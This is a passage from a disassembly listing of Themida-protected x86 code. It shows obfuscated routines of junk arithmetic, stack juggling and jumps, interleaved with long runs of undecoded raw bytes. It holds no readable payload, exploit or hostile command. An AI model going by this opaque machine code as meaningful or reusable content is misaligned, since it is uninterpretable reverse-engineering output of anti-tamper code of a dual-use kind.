; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BB241C89h, 3B0C50DEh, 24048B53h,	0E9E68956h, 0FFFF7EB5h
; ---------------------------------------------------------------------------

loc_50AD9C:				; CODE XREF: Themida_:00503FA1j
		add	ebx, 0E00B75h
		add	ebx, esi
		sub	ebx, 0E00B75h
		pop	esi
		jmp	loc_50C7F1
; ---------------------------------------------------------------------------
		dd 5DE9C801h, 89FFFFA5h, 4EB42404h, 0CC80D4F6h,	0F6C4FE91h
		dd 0E771E9DCh, 5359FFFFh, 0DBF616B3h, 0C07DC380h, 0EB8006EBh
		dd 5BD828B9h, 4804D800h, 61E96404h, 0AD000032h,	0E9D831h
		dd 89000032h, 53562424h, 0A32454BBh, 2458BE14h,	0DE2914A3h
		dd 2474015Bh, 34FF5E04h, 0E9535D24h, 348Eh
; ---------------------------------------------------------------------------

loc_50AE10:				; CODE XREF: Themida_:00502C02j
		jmp	loc_50D5E9
; ---------------------------------------------------------------------------

loc_50AE15:				; CODE XREF: Themida_:0050BE2Cj
		not	eax
		jmp	loc_50964C
; ---------------------------------------------------------------------------

loc_50AE1C:				; CODE XREF: Themida_:0050596Dj
		pop	esp
		jmp	loc_50BBE6
; ---------------------------------------------------------------------------

loc_50AE22:				; CODE XREF: Themida_:005051D8j
		shl	ebx, 7
		sub	ebx, 7E4D152Eh
		sub	ebx, 53076F1Dh
		sub	ebx, 1CB47C67h
		push	eax
		jmp	loc_508FB0
; ---------------------------------------------------------------------------

loc_50AE3D:				; CODE XREF: Themida_:005060E4j
		sub	esp, 4
		jmp	loc_509F62
; ---------------------------------------------------------------------------
		dd 4C481h, 0EB810000h, 134405C5h, 2139EB81h, 0C3011B26h
		dd 129DB951h, 72E91C4Bh, 5200003Ch, 0ECE914B6h,	68FFFFBCh
		dd 189Ch, 89243C89h, 4C781E7h, 81000000h, 2C7h,	243C8700h
		dd 0F381665Ch, 56668610h, 675ABE66h, 66F02966h,	0E747E95Eh
		dd 0E957FFFFh, 0FFFFCFDCh, 0F7DAED81h, 0EA89A011h, 2454015Dh
		dd 7E95A04h, 5B000029h,	6C62B951h, 0BE565D3Eh, 19C73606h
		dd 0E95EF101h, 15B3h, 0CEE9E788h, 8B000009h, 44E92404h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50AEDB:				; CODE XREF: Themida_:0050A577j
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ebx
		jmp	loc_507C54
; ---------------------------------------------------------------------------
		db 56h
		dd 417242BEh, 90C68120h, 0E9381671h, 0FFFFC239h, 58C3285Ah
		dd 0D2EB80h, 0D2C380C3h, 8074B050h, 0C380E6EBh,	0B5F9E9CAh
		dd 0C481FFFFh, 4, 66C0B60Fh, 0E987048Fh, 0FFFF7C46h
; ---------------------------------------------------------------------------

loc_50AF28:				; CODE XREF: Themida_:005070D7j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_507065
; ---------------------------------------------------------------------------
		db 59h
		dd 0E924048Fh, 0D9Dh, 58592888h, 7C28E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50AF46:				; CODE XREF: Themida_:0050912Fj
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_508DF8
; ---------------------------------------------------------------------------

loc_50AF50:				; CODE XREF: Themida_:0050B08Ej
		pop	edi
		add	edi, 43D77F2Ch
		shr	edi, 6
		xor	edi, 175BD1C9h
		jmp	loc_50E3CF
; ---------------------------------------------------------------------------

loc_50AF65:				; CODE XREF: Themida_:0050EBA4j
		add	edi, 4
		push	ebp
		jmp	loc_50646C
; ---------------------------------------------------------------------------
		db 89h,	0FEh, 5Fh
		dd 81242C8Bh, 4C4h, 0E9505600h,	0FFFFF7A4h, 21252DADh
		dd 0D8012803h, 31A7E951h, 0CA800000h, 8E2C0A7h,	0F608EAC0h
		dd 2EAC0DAh, 0FF7E20E9h, 4C181FFh, 0E9000000h, 104Ch, 240C8B66h
		dd 35EA68h, 24048900h, 405E089h, 2D000000h, 4, 1E00E9h
		db 0
; ---------------------------------------------------------------------------

loc_50AFCD:				; CODE XREF: Themida_:0050BB25j
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		dw 3058h
		dd 0FC18E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50AFDA:				; CODE XREF: Themida_:0050EF59j
		add	eax, ebp
		pop	ebp
		add	eax, 5742456Bh
		jmp	loc_50C596
; ---------------------------------------------------------------------------
		db 81h
		dd 0F46F20E9h, 0F9ECE937h, 0FEB9FFFFh, 0F70A663Eh, 0E9D187D9h
		dd 26EAh, 4240481h, 5F000000h, 0FFE682E9h, 4EC81FFh, 89000000h
		dd 49E9241Ch, 5FFFF86h,	2F081D49h, 0BB53F801h, 2A781221h
		dd 0FF9DF9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B02D:				; CODE XREF: Themida_:00509EF1j
		xor	bl, cl
		jmp	loc_509410
; ---------------------------------------------------------------------------
		dd 32536856h, 535E1043h, 0FF8A0AE9h, 242C87FFh,	8924248Bh
		dd 96BD242Ch, 3122956Dh, 31EF31FDh, 0D0F797FDh,	52FD8797h
		dd 0F733BBBAh, 5AD53150h, 0C108EDC1h, 0BA5206E5h, 4A854DC4h
		dd 0DAF7D2F7h, 11B2E281h, 2E951D5h, 51FFFF96h, 0E9533CB5h
		dd 0FFFF9B17h
; ---------------------------------------------------------------------------

loc_50B088:				; CODE XREF: Themida_:0050744Aj
		push	edi
		push	0E25302Bh
		jmp	loc_50AF50
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 24048B24h, 8304C483h, 0FFE904C4h,	29FFFF84h
		dd 3E981D1h, 5A61EE7Dh,	0BF57C101h, 6D8569DEh, 3C8BF901h
		dd 4C48124h, 68000000h,	7C59h, 88241C89h, 0B850D7h, 0E9000000h
		dd 0FFFF8B75h, 0D0199DB9h, 59C82942h, 56E9C789h, 47FFFFF5h
		dd 368AF781h, 6E9381Ch,	66FFFFB8h, 0E924048Bh, 0FFFFCAACh
		dd 0C108EEC1h, 0DEF705E6h, 57AFB951h, 0CE091493h, 0EE814E59h
		dd 0C6DC4F80h, 116AF681h, 0EEC111C8h, 0DF60E908h, 0D588FFFFh
		dd 2434FF5Ah, 0FFCEEDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B12D:				; CODE XREF: Themida_:00506161j
		shl	edx, 1
		push	ebp
		jmp	loc_503FC6
; ---------------------------------------------------------------------------

loc_50B135:				; CODE XREF: Themida_:0050A3D7j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_50C9C0
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 0BC685200h,	0E900006Bh, 0FFFFEEC6h
		dd 8168C80Fh, 89000015h, 7E92404h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B167:				; CODE XREF: Themida_:0050F2BCj
		mov	edx, [esp]
		jmp	loc_504447
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 22CAE9h, 28F6600h, 0FFF5D2E9h, 241431FFh
		dd 0FFFBD2E9h, 0F5815EFFh, 9AA2D30h, 8104EDC1h,	8A3540F5h
		dd 0E9E88942h, 3D6Eh
; ---------------------------------------------------------------------------

loc_50B1A4:				; CODE XREF: Themida_:0050BDD3j
		mov	dh, 0B8h
		dec	dh
		sub	dh, 0C3h
		neg	dh
		xchg	ch, dh
		xchg	bl, ch
		neg	bl
		xchg	bl, ch
		xor	dh, ch
		xor	ch, dh
		xor	dh, ch
		jmp	loc_50C6E2
; ---------------------------------------------------------------------------

loc_50B1C0:				; CODE XREF: Themida_:00503509j
		pop	esp
		jmp	loc_5076F9
; ---------------------------------------------------------------------------

loc_50B1C6:				; CODE XREF: Themida_:005046E6j
		sub	edx, 4
		jmp	loc_50735A
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 17BCBA52h, 19BD6168h, 29DAD2A9h, 24148BD5h, 4C481h
		dd 26E90000h, 0BDFFFF7Ch, 45235B7h, 5F5DEA29h, 0ADE9C201h
		dd 0BE000027h, 679A1F14h, 555EF201h, 212AC5BDh,	1BED8166h
		dd 8108BD15h, 6074BCCDh, 72C5811Eh, 0C1272F44h,	0A8E902EDh
		dd 66FFFFE3h, 6672BA68h, 66241489h, 37E99C50h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B237:				; CODE XREF: Themida_:00505D0Ej
		mov	ebx, edx
		pop	edx
		jmp	loc_50B307
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 0AEE9C801h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50B24F:				; CODE XREF: Themida_:00503701j
		pop	esi
		jmp	loc_50CCCB
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 8904EC83h, 81572434h, 4ECh, 380AE900h, 0C6810000h, 2
		dd 31243433h, 34332434h, 0F665C24h, 9C2404ABh, 5E4E9h
		dd 0B3536600h, 66DE20CEh, 0E9241C8Bh, 0FFFFAE94h, 4240483h
		dd 8124348Bh, 4C4h, 0A7DDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B2A6:				; CODE XREF: Themida_:0050D0A5j
		mov	ebp, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		add	dword ptr [esp], 2AC6122Dh
		jmp	loc_508C8A
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 1000000h, 8B04247Ch,	0C483243Ch, 789CE904h, 4401FFFFh
		dd 33E90424h, 68FFFF7Ch, 4EE2h,	0B1240C89h, 66D9F666h
		dd 20B1B050h, 48B66C1h,	2C48124h, 0C0000000h, 0D9F602E9h
		dd 8008C180h, 6E978E9h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B307:				; CODE XREF: Themida_:0050B23Aj
		push	ecx
		push	edx
		jmp	loc_50CA0F
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0B4B3241Ch, 0E907EBC0h, 0FFFFD0C7h, 74F78147h, 1F78F8Bh
		dd 82685FFBh, 89000071h, 55512414h, 512311BDh, 7A98B930h
		dd 0E9296417h, 59CA895Dh, 0D0E9D2F7h, 30FFFFC7h, 241C8BF8h
		dd 6AE95455h, 81FFFFD4h, 0E17794C6h, 0E4BB5342h, 0C1777763h
		dd 0D3F706EBh, 0E902E3C1h, 0FFFF9FBBh
; ---------------------------------------------------------------------------

loc_50B36C:				; CODE XREF: Themida_:0050E924j
		pop	dword ptr [esp]
		jmp	loc_505C87
; ---------------------------------------------------------------------------
		dd 815BD901h, 0AA6D2CC1h, 15C98121h, 812DF00Eh,	274E16F1h
		dd 1CB0E9E5h, 0C2810000h, 4, 3302EA83h,	14312414h, 24143324h
		dd 0C89665Ch, 2ADBE924h, 478F0000h, 77BCE940h, 0DAF7FFFFh
		dd 8104E2C1h, 754614C2h, 8496E923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B3C2:				; CODE XREF: Themida_:0050DFE0j
		mov	edx, esp
		push	ecx
		mov	ecx, 52C05225h
		jmp	loc_506417
; ---------------------------------------------------------------------------
		db 30h
		dd 57E959C8h, 0FFFFFFACh, 0B7E92434h, 0B8FFFF79h, 2, 602BC281h
		dd 0C20111FAh, 602BEA81h, 34FF11FAh, 0B35EE924h, 8143FFFFh
		dd 0D10F9AC3h, 6EBC161h, 84B6F381h, 8955184Dh, 0E9EF89DDh
		dd 22D0h, 0C3288EB0h, 582434FFh, 5E08950h, 4, 0E904C083h
		dd 0FFFFA5E1h, 15FF889h, 8AE958C5h, 0B800002Ah,	19D0022Bh
		dd 7E7A2F35h, 75BD2D59h, 3AE90369h, 0FFFFFFB0h,	5F042474h
		dd 5C24048Fh, 2DEC68h, 241C8900h, 479E68h, 0AA75E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B466:				; CODE XREF: Themida_:0050EA30j
		push	143Bh
		mov	[esp], ebp
		jmp	loc_50565B
; ---------------------------------------------------------------------------
		db 59h
		dd 31241433h, 14332414h, 24248B24h, 24048966h, 0FF76E5E9h
		dd 83EA81FFh, 1056969h,	0BB535AD1h, 424570F6h, 0E903E3C1h
		dd 0FFFF9A01h
; ---------------------------------------------------------------------------

loc_50B4A0:				; CODE XREF: Themida_:00503301j
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 2B2B32B1h
		push	eax
		push	22C672EDh
		pop	eax
		shl	eax, 3
		dec	eax
		xor	eax, 3D18A5D5h
		mov	ecx, eax
		pop	eax
		jmp	loc_506B9E
; ---------------------------------------------------------------------------
		db 87h
		dd 665C2414h, 9C2404FFh, 0FF7699E9h, 0FF5452FFh, 815A2434h
		dd 4C4h, 4C28100h, 55000000h, 81E68956h, 4C6h, 0C104E900h
		dd 1C89FFFFh, 4EC8124h,	89000000h, 0B8502424h, 4, 0FFFDC5E9h
		dd 55B7FFh, 0EE805BFEh,	5AF52083h, 5227ED80h, 2F95E9h
		dd 0CE68AC00h, 89000041h, 0BDE9240Ch, 8B00000Ah, 37E92424h
		dd 8BFFFF76h, 0D3662424h, 0E99C242Ch, 0FFFF762Ah, 0C002E580h
		dd 0CDFE03E5h, 80AEE580h, 0C58054E5h, 906DE964h, 8B66FFFFh
		dd 7D682404h, 8900001Bh, 0B9682414h, 89000073h,	0E9562424h
		dd 47h,	2BDh, 8BEB0100h, 0C483242Ch, 28F7E904h,	59660000h
		dd 8B2434FFh, 0C483241Ch, 59545104h, 0FF9F80E9h, 0E9CA01FFh
		dd 0FFFFF59Eh, 3927F8BBh, 1AE38142h, 0F748ED20h, 0DBF74BDBh
		dd 7338F381h, 0BEE93991h, 0BEFFFFAAh, 4, 4247401h, 0BF575A5Eh
		dd 4, 505FFA01h, 79268h, 241C8900h, 0FFEF66E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B5DD:				; CODE XREF: Themida_:0050EE13j
		add	ecx, 0E3FBB5A4h
		jmp	loc_50CD58
; ---------------------------------------------------------------------------
		dd 0FF7581E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B5ED:				; CODE XREF: Themida_:00503C0Aj
		sub	esp, 4
		mov	[esp], esi
		push	10FAh
		mov	[esp], ebp
		push	5FA47BA6h
		mov	ebp, [esp]
		add	esp, 4
		neg	ebp
		xor	ebp, 0E4F48624h
		mov	esi, ebp
		pop	ebp
		xor	[esp+4], esi
		jmp	loc_507F55
; ---------------------------------------------------------------------------
		dw 62BEh
		dd 555EA273h, 0F85B47BDh, 5DEE310Fh, 0FFD8FDE9h, 0E38953FFh
		dd 0FFE35DE9h, 240C87FFh, 0FF9380E9h, 0F2815EFFh, 4B75290Fh
		dd 55AD001h, 2,	31240433h, 4332404h, 0B2E6E924h, 3C89FFFFh
		dd 0FDE9E924h, 0E95AFFFFh, 0FFFFE6A7h, 0E9241C89h, 0FFFFD566h
; ---------------------------------------------------------------------------

loc_50B670:				; CODE XREF: Themida_:00506EFCj
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, ebx
		push	2429h
		jmp	loc_507488
; ---------------------------------------------------------------------------
		db 66h
		dd 0D7E99C51h, 89FFFF74h, 0CFE92404h, 83FFFF74h, 11E904ECh
		dd 41FFFF98h, 0DE9AC181h, 0CF898C92h, 9FF78159h, 8131592Dh
		dd 0DE5B28C5h, 0EEDE931h, 0A7E90000h, 66FFFF74h, 2339EA81h
		dd 2EAC166h, 2ED2E9h, 81D50100h, 7E6A43C5h, 2C875A77h
		dd 24248B24h, 582434FFh, 0E904EC83h, 0FFFFFE06h, 4C281h
		dd 0EA810000h, 4, 5C241487h, 0BA241489h, 3F483634h, 0E95AD131h
		dd 0FFFFC4B1h, 657568h,	242C8900h, 0B8505D54h, 4, 1DE9C501h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B727:				; CODE XREF: Themida_:005084BDj
		mov	ebx, 0BB51AB9h
		mov	esi, ebx
		mov	ebx, [esp]
		jmp	loc_50D6BC
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 2414F724h, 4FE9555Dh, 66FFFFC5h, 50241C89h, 0FFFB8EE9h
		dd 2414F7FFh, 1CF7575Fh, 0F7815F24h, 101E5B64h,	56ADC181h
		dd 0F9294002h, 56ADE981h, 0B4E94002h, 6600002Dh, 74E9D089h
		dd 0AC00000Ah, 5C047004h, 0D4E9D800h, 0ACFFFFDDh, 638D6866h
		dd 24148966h, 0D02811B2h, 53515A66h, 95B5ABB7h,	665BFD28h
		dd 2885B753h, 91D1E9FDh, 0EA81FFFFh, 64B10DE9h,	0C281CA01h
		dd 64B10DE9h, 2F75C281h, 50597F86h, 0FFE4C1E9h,	5AD388FFh
		dd 0E9D98851h, 0FFFFA2E4h, 0C2DDE950h, 0C780FFFFh, 0C00CE95Ah
		dd 815BFFFFh, 7F0819EAh, 0B59BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B7E6:				; CODE XREF: Themida_:0050D61Cj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		dec	ebp
		xor	ebp, 83C4BE04h
		push	ebp
		add	dword ptr [esp], 9950616h
		pop	ecx
		sub	ecx, 9950616h
		pop	ebp
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_509194
; ---------------------------------------------------------------------------
		db 5Ch
		dd 52CE9h, 0E1C15900h, 0B36E902h, 4BF0000h, 89000000h
		dd 243C8BFDh, 0FFDC95E9h, 4BC180FFh, 0C004E1C0h, 0F18006E1h
		dd 0FB81E97Ah, 0EE81FFFFh, 6DB538BFh, 882EE81h,	0C6296DF2h
		dd 39E5E9h, 24048F00h, 0FFB0E4E9h, 7300E9FFh, 48BFFFFh
		dd 4C48124h, 5000000h, 4, 4EC81h, 34890000h, 2BE24h, 0F0010000h
		dd 2404335Eh, 33240431h, 248B2404h, 0F9F76624h,	2E4EE9h
		dd 5BE95800h, 29000029h, 0EF9AE9CBh, 505BFFFFh,	42474FFh
		dd 0FFAA3AE9h, 3CA80FFh, 0FFC1A6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B8C1:				; CODE XREF: Themida_:00507995j
		push	40h
		jmp	loc_503A5D
; ---------------------------------------------------------------------------

loc_50B8CB:				; CODE XREF: Themida_:0050BFD9j
		mov	esp, [esp]
		push	eax
		push	esi
		mov	esi, 4E2502Ah
		jmp	loc_5088ED
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 36Ah, 4C281h, 0C4E90000h, 81000028h,	2231ECF3h, 9BB2E936h
		dd 0CD81FFFFh, 153C2BBBh, 7B83E957h, 48BFFFFh, 6EE95124h
		dd 29000000h, 0C2815BDAh, 2DFB1D8Bh, 333CE9h
		db 0
; ---------------------------------------------------------------------------

loc_50B919:				; CODE XREF: Themida_:005039D2j
		push	eax
		mov	eax, 76022ED7h
		xor	ebp, eax
		jmp	loc_50AB1E
; ---------------------------------------------------------------------------

loc_50B926:				; CODE XREF: Themida_:0050E497j
		mov	edx, esi
		pop	esi
		jmp	loc_505D41
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 0B9F68108h, 2D79F038h, 0FB91F0Fh, 0F05F001h,	5E0FB91Fh
		dd 4EC81h, 1C890000h, 4EC8324h,	68243C89h, 73724FFBh, 0E957555Fh
		dd 0FFFF9F9Eh, 7E2C142h, 67A8C281h, 74E943ECh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B96F:				; CODE XREF: Themida_:00505D46j
		add	eax, 4AB1875h
		jmp	loc_5099BD
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 1Bh
		dd 68FFFF99h, 0
		dd 5F243C29h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 20BA2414h, 297B6211h, 24148BD7h, 0FF8C8AE9h,	0C8B66FFh
		dd 0DD9FE924h, 0EEC1FFFFh, 0E6814E03h, 108030E4h, 0FFEC3AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B9C5:				; CODE XREF: Themida_:0050358Fj
		add	ecx, 0B397F74h
		inc	ecx
		xor	ecx, 3B3B8371h
		add	ebx, ecx
		pop	ecx
		jmp	loc_50D454
; ---------------------------------------------------------------------------
		dw 2404h
		dd 0D828ED04h, 242CED2Ch, 2C06B551h, 2C39048Eh,	4E828D6h
		dd 0B55166D6h, 66E82839h, 10BFE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50B9FE:				; CODE XREF: Themida_:0050A17Cj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		jmp	loc_508A49
; ---------------------------------------------------------------------------

loc_50BA13:				; CODE XREF: Themida_:0050C909j
		add	ecx, eax
		jmp	loc_50DA10
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 48F5C24h, 24248B24h,	0E9028864h, 0FFFF7142h
; ---------------------------------------------------------------------------

loc_50BA2C:				; CODE XREF: Themida_:00504A45j
		mov	esp, [esp]
		push	6724h
		mov	[esp], ebx
		jmp	loc_503F85
; ---------------------------------------------------------------------------

loc_50BA3C:				; CODE XREF: Themida_:0050A000j
		mov	[esp], eax
		jmp	loc_50F2AB
; ---------------------------------------------------------------------------

loc_50BA44:				; CODE XREF: Themida_:00507C5Cj
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edi
		push	ebp
		mov	ebp, 72CF4498h
		shl	ebp, 7
		xor	ebp, 985DB3FFh
		mov	edi, ebp
		pop	ebp
		push	esi
		mov	esi, edi
		jmp	loc_50D081
; ---------------------------------------------------------------------------
aHO_0		db ']hÅo',0
		dw 8900h
		dd 89E9243Ch, 0BFFFFFB6h, 68964108h, 0FF5FF929h, 0E95E2434h
		dd 0FFFF7E77h, 4BEh, 69C78100h,	1750301h, 69EF81F7h, 5E750301h
		dd 6D49BA52h, 684215E3h, 0
		dd 5A241429h, 8103E2C1h, 0DA4194CAh, 0D9CE916h,	0D8010000h
		dd 0FFE212E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50BAC9:				; CODE XREF: Themida_:0050DD99j
		push	eax
		push	ebx
		mov	ebx, 7BEE5537h
		jmp	loc_50453C
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0A6h
		dd 2D40570Fh, 38ECA037h, 0ECE9C721h, 5AFFFFF3h,	5C241C87h
		dd 0C281C331h, 0C035D02h, 0E768C229h, 8900004Fh, 2B9240Ch
		dd 290C035Dh, 240C8BCAh, 5E08950h, 4, 0DE58E953h, 0C181FFFFh
		dd 376D6441h, 8C1CE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50BB22:				; CODE XREF: Themida_:00503342j
		push	small word ptr [eax]
		jmp	loc_50AFCD
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 0BA38E9F7h, 489FFFFh, 0E9D1B024h, 0FFFF818Dh
; ---------------------------------------------------------------------------

loc_50BB3C:				; CODE XREF: Themida_:005056CFj
		pop	ecx
		pop	eax
		jmp	loc_50D0C0
; ---------------------------------------------------------------------------
		db 0ADh
		dd 207F83h, 72F9840Fh, 0C681FFFFh, 5A666EBDh, 5335BF57h
		dd 0FE2978E2h, 81243C8Bh, 4C4h,	0CBC68100h, 16EA21Ch, 0F0B951C6h
		dd 810DBF15h, 9C19D2E1h, 2FF18178h, 8177FA3Fh, 3BEDCCC1h
		dd 0E9CE29EFh, 0FFFFDCFBh, 0C42A32BBh, 20F3814Ah, 0D123D02Bh
		dd 7FCB81EBh, 0F727B004h, 0B8A9E9DBh, 0C481FFFFh, 4, 13C068h
		dd 240C8900h, 0BD86853h, 34890000h, 602A6824h, 815E2D8Eh
		dd 31F047EEh, 4EC83B3h,	56240C89h, 7690E959h, 7EBEFFFFh
		dd 81488646h, 2A4E0BF6h, 6F9BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50BBE6:				; CODE XREF: Themida_:0050AE1Dj
		push	1E17h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_507847
; ---------------------------------------------------------------------------
		db 0B4h
		dd 0E9CCFECFh, 15BEh
; ---------------------------------------------------------------------------

loc_50BC10:				; CODE XREF: Themida_:00509B6Fj
		add	esi, 0D07BBFDh
		push	esi
		add	dword ptr [esp], 1E4B7B4Dh
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 1E4B7B4Dh
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_506159
; ---------------------------------------------------------------------------
		dd 6F24E958h, 0CC88FFFFh, 0FFF27BE9h, 0C22D66FFh, 0C1016690h
		dd 0C1816658h, 5166199Fh, 242C8166h, 5D660807h,	2A09E9h
		dd 0C6835D00h, 24348702h, 0BB0F665Ch, 0E99C2404h, 0FFFF6EEEh
		dd 0E9DDF758h, 2E49h
; ---------------------------------------------------------------------------

loc_50BC88:				; CODE XREF: Themida_:0050E1BCj
		pop	ebp
		sub	esi, 0E6AB1960h
		jmp	loc_507537
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC830000h, 24048904h, 4B8h,	58C30100h, 51E68956h
		dd 4B9h, 59CE0100h, 4EE81h, 34870000h, 0C895C24h, 2B924h
		dd 0CB010000h, 1490E959h, 4F090000h, 240C8B1Ch,	0FF7E43E9h
		dd 29665CFFh, 0E99C2404h, 0FFFF6E8Ah, 0E4ABB53h, 0BE561EDEh
		dd 199D6801h, 4873CE81h, 0E6815E52h, 26C12B3Dh,	0ED17E946h
		dd 3368FFFFh, 89000004h, 74FF2404h, 48B0424h, 8D3FE924h
		dd 30FFFFFFh, 0FF6E51E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50BD1D:				; CODE XREF: Themida_:0050EC50j
		sub	bl, dl
		pop	edx
		push	small 7085h
		mov	[esp], ax
		jmp	loc_50A112
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 97h
		dd 89C01121h, 0CF015BD9h, 5FF82959h, 0FF6E2DE9h, 48759FFh
		dd 0F665C24h, 9C2404B3h, 0FF6E1DE9h, 4C483FFh, 13E930FFh
		dd 83FFFF6Eh, 1C8704C3h, 71685C24h, 8900001Ah, 0E0892404h
		dd 0FFC2C1E9h, 1C77FFFFh, 0D359669Dh, 0E99C2414h, 0FFFF6DEEh
		dd 0C181E189h, 4, 4BD55h, 0E9010000h, 83242C8Bh, 94E904C4h
		dd 0FF000002h, 815E2434h, 4C4h,	5EF12900h, 23B468h, 240C8900h
		dd 42474FFh, 24048F59h,	0E924248Bh, 0A92h, 2858C700h, 1C8B66F8h
		dd 6E39E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50BDCE:				; CODE XREF: Themida_:005077C1j
		mov	[esp], cx
		push	edx
		jmp	loc_50B1A4
; ---------------------------------------------------------------------------

loc_50BDD8:				; CODE XREF: Themida_:00507B12j
		add	edx, 4
		jmp	loc_50C58A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5F042474h, 8B24048Fh, 24892424h, 24048324h, 0C1815904h
		dd 4, 2BA52h, 0C6E90000h, 81FFFFE8h, 4C7h, 2C78100h, 0E9000000h
		dd 0FFFFD220h
; ---------------------------------------------------------------------------

loc_50BE18:				; CODE XREF: Themida_:00505F8Dj
		push	esi
		mov	esi, 26CD0555h
		sub	esi, 0F4C69AA7h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_50AE15
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 0DE7E9h
		db 0
; ---------------------------------------------------------------------------

loc_50BE39:				; CODE XREF: Themida_:0050E78Dj
		mov	esp, [esp]
		jmp	loc_50811C
; ---------------------------------------------------------------------------
		db 59h,	87h, 4
		dd 24248B24h, 24048F54h, 0D079E957h, 4481FFFFh,	1FE0424h
		dd 148B7838h, 0AEC8E924h, 5455FFFFh, 0B031E95Dh, 3487FFFFh
		dd 0C3815C24h, 4, 4C381h, 1C330000h, 0A3B0E924h, 5F09FFFFh
		dd 2434FF1Ch, 4C4815Bh,	0E9000000h, 0FFFF6CDAh
; ---------------------------------------------------------------------------

loc_50BE94:				; CODE XREF: Themida_:00504757j
		pop	eax
		mov	eax, ebp
		jmp	loc_508745
; ---------------------------------------------------------------------------
		dd 0E981E901h, 76F15FECh, 83242C8Bh, 0C3304C4h,	240C3124h
		dd 0FFA4D5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50BEB5:				; CODE XREF: Themida_:00507FC7j
		pop	ecx
		push	3A1Ch
		mov	[esp], ebx
		push	edi
		mov	edi, 3A605306h
		jmp	loc_50A976
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 5153CAB5h, 0FFD26AE9h, 53B252FFh, 0D72802B7h, 13E95Ah
		dd 0E9580000h, 0FFFF9753h, 4C90C681h, 464E76C7h, 0FFC4CCE9h
		dd 4EC81FFh, 89000000h,	0DB42404h, 529FEC80h, 0D40001B2h
		dd 0FF7EA4E9h, 4EC81FFh, 0E9000000h, 0FFFFE762h, 0E9CDC780h
		dd 0FFFFDD96h, 7AE8EE81h, 0F3899255h, 83C7E95Eh
